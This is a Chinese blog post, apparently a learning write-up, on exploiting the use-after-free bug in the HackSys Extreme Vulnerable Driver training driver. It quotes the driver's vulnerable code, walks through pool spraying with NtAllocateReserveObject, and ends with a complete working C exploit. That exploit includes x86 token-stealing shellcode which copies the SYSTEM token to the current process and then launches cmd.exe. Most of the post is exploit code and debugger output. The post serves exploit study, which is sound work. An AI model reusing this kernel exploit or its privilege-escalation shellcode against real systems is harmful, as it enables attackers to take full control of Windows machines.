Windows内核漏洞学习-UAF

0x00:前言

本章所提到的漏洞为UAF(释放后利用),这也是目前我所接触到的第一个复杂一点的内核漏洞。参考文章:

0x01:漏洞原理
NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

对比安全版本和不安全的版本,区别在于该free函数将内存指针Free后有没有将原来内存指针置空。这样就会留下一个野指针。UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。常利用的两个点为:

  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
0x02:漏洞分析

根据这里的函数

NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

这里会调用该UAF对象的回调函数,因此我们只需要:

  • 申请一个UFA对象
  • 释放该UFA对象
  • 再次申请一个伪造的对象占据之前释放的UAF对象的Callback函数位置
  • 利用野指针来调用Callback函数,完成任意代码执行

在做这些事情之前,我想我有必要去了解一下Windows的内存池管理原理,以前接触过Linux的内存管理,关于Windows的我在安全客看到一篇不错的关于池的描述。

现在还有一个问题,就是关于我们释放的UAF对象如果和其他空闲块相邻的话,出于性能的考虑,内存分配器会核并这些块,这样我们就无法再申请到这个块了。为了避免这个情况,我们使用池喷射。在原文里使用了 NtAllocateReserveObject 函数,因为该函数申请的空间与UAF对象大小很接近。要使用它,我们需要使用GetProAd’d’ress来获取该函数地址并调用。至于如何调用

该函数可以创建一个大小为0x60的对象并返回一个函数句柄,只要句柄不释放,则该对象会一直保存在内存池中。接下来会首先创建10000个对象用于填充碎块化内容池空间,5000个对象连在一起。然后释放第二次申请的5000个对象中的偶数对象来在非分页内存池上挖坑。这样做的目的是为了让每个块都被两个已分配的内存包围,导致它们在释放时不会被合并。在分配完UAF对象处下断点

kd> g
****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT ******
****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******
[+] Freeing UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x85EBCD08
****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******
****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT ******
[+] Allocating UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x58
[+] Pool Chunk: 0x85EC9E88
[+] UseAfterFree Object: 0x85EC9E88
[+] g_UseAfterFreeObject: 0x85EC9E88
[+] UseAfterFree->Callback: 0x8E2E22A4
Breakpoint 1 hit
HEVD!AllocateUaFObject+0xfb:
8e2e23b1 c3              ret
kd> !pool
Please provide pool address to dump pool.
kd> !pool 0x85EC9E88
Pool page 85ec9e88 region is Nonpaged pool
 85ec9000 size:   60 previous size:    0  (Free )  IoCo (Protected)
 85ec9060 size:   40 previous size:   60  (Free)       ....
 85ec90a0 size:   60 previous size:   40  (Allocated)  IoCo (Protected)
 85ec9100 size:   60 previous size:   60  (Free)       IoCo
 85ec9160 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec91c0 size:   60 previous size:   60  (Free)       IoCo
 85ec9220 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9280 size:   60 previous size:   60  (Free)       IoCo
 85ec92e0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9340 size:   60 previous size:   60  (Free)       IoCo
 85ec93a0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9400 size:   60 previous size:   60  (Free)       IoCo
 85ec9460 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec94c0 size:   60 previous size:   60  (Free)       IoCo
 85ec9520 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9580 size:   60 previous size:   60  (Free)       IoCo
 85ec95e0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9640 size:   60 previous size:   60  (Free)       IoCo
 85ec96a0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9700 size:   60 previous size:   60  (Free)       IoCo
 85ec9760 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec97c0 size:   60 previous size:   60  (Free)       IoCo
 85ec9820 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9880 size:   60 previous size:   60  (Free)       IoCo
 85ec98e0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9940 size:   60 previous size:   60  (Free)       IoCo
 85ec99a0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9a00 size:   60 previous size:   60  (Free)       IoCo
 85ec9a60 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9ac0 size:   60 previous size:   60  (Free)       IoCo
 85ec9b20 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9b80 size:   60 previous size:   60  (Free)       IoCo
 85ec9be0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9c40 size:   60 previous size:   60  (Free)       IoCo
 85ec9ca0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9d00 size:   60 previous size:   60  (Free)       IoCo
 85ec9d60 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9dc0 size:   60 previous size:   60  (Free)       IoCo
 85ec9e20 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
*85ec9e80 size:   60 previous size:   60  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 85ec9ee0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)
 85ec9f40 size:   60 previous size:   60  (Free )  IoCo (Protected)
 85ec9fa0 size:   60 previous size:   60  (Allocated)  IoCo (Protected)

在结果里可以看到申请的Hack块被夹在两个正在使用的IOCO对象块中间,这样就可以保证它在释放的时候不被回收了。

(这里说一个调试错误修复,一开始使用!pool命令会报错,需要使用!poolval命令来修复,百度查不到还是谷歌给力。。另外还知道了Windbg的命令直接在MSDN官方查就可以了…我还是无知)

接下来要做的就是进行写shellcode了。在 写的时候,申请5000个大小为0x60的池块,都将回调函数的地址处填写为shellcode,这样更大概率可以进行野指针的覆盖。

最终运行完整的代码,可以看到该地址被覆盖为了Shellcode地址。

在这里插入图片描述

同时在执行call时也看到了eax为存放shellcode的地址。

完整代码
#include<stdio.h>
#include<Windows.h>

#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0
typedef void(*FunctionPointer) ();

typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef NTSTATUS(WINAPI* NtAllocateReserveObject_t)(OUT PHANDLE           hObject,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	IN DWORD              ObjectType);

typedef struct _FAKE_USE_AFTER_FREE
{
	FunctionPointer countinter;
	char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
HANDLE    ReserveObjectArrayA[10000];
HANDLE    ReserveObjectArrayB[5000];
__declspec(naked) VOID ShellCode()
{
	_asm
	{
		nop
		pushad
		mov eax, fs: [124h]		// 找到当前线程的_KTHREAD结构
		mov eax, [eax + 0x50]   // 找到_EPROCESS结构
		mov ecx, eax
		mov edx, 4				// edx = system PID(4)

		// 循环是为了获取system的_EPROCESS
		find_sys_pid :
		mov eax, [eax + 0xb8]	// 找到进程活动链表
		sub eax, 0xb8    		// 链表遍历
		cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
		jnz find_sys_pid

		// 替换Token
		mov edx, [eax + 0xf8]
		mov[ecx + 0xf8], edx
		popad
		ret
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main()
{
	int NtStatus = 0;
	DWORD recvBuf;
	// 获取句柄
	HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	printf("Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("获取句柄失败\n");
		return 0;
	}

	//进行池喷射
	NtAllocateReserveObject_t     NtAllocateReserveObject;
	HMODULE hModule = NULL;
	hModule = LoadLibraryA("ntdll.dll");
	if (!hModule) {
		printf("\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
		exit(EXIT_FAILURE);
	}
	NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(hModule, "NtAllocateReserveObject");
	if (!NtAllocateReserveObject) {
		printf("\t\t[-] Failed Resolving NtAllocateReserveObject: 0x%X\n", GetLastError());
		exit(EXIT_FAILURE);
	}
	int i = 0;
	for (i = 0; i < 10000; i++) {
		NtStatus = NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT);
		if (NtStatus != STATUS_SUCCESS) {
			printf("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
			exit(EXIT_FAILURE);
		}
	}
	for (i = 0; i < 5000; i++) {
		NtStatus = NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT);
		if (NtStatus != STATUS_SUCCESS) {
			printf("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
			exit(EXIT_FAILURE);
		}
	}
		//释放偶数个的内存块
	for (i = 0; i < 5000; i += 2) {
		if (!CloseHandle(ReserveObjectArrayB[i])) {
			printf("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
			exit(EXIT_FAILURE);
		}
	}


		// 调用 AllocateUaFObject() 函数申请内存
		printf("Start to call AllocateUaFObject()...\n");
		DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);

		// 调用 FreeUaFObject() 函数释放对象
		printf("Start to call FreeUaFObject()...\n");
		DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

		for (i = 0; i < 10000; i++) {
			if (!CloseHandle(ReserveObjectArrayA[i])) {
				printf("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
				exit(EXIT_FAILURE);
			}
		}

		for (i = 1; i < 5000; i += 2) {
			if (!CloseHandle(ReserveObjectArrayB[i])) {
				printf("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
				exit(EXIT_FAILURE);
			}
		}
		printf("Start to write shellcode()...地址为0x%p\n",ShellCode);
		//申请假的chunk
		PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
		//指向我们的shellcode
		fakeG_UseAfterFree->countinter = ShellCode;
		//用A填满该chunk
		RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

		// 堆喷射
		printf("***********************************\n");
		printf("Start to heap spray...\n");
		for (int i = 0; i < 5000; i++)
		{
			DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
		}
		printf("Start to call UseUaFObject()...\n");
		DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

		printf("Start to create cmd...\n");
		CreateCmd();

		return 0;
	
}
0x03:明日计划

继续学习漏洞利用

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值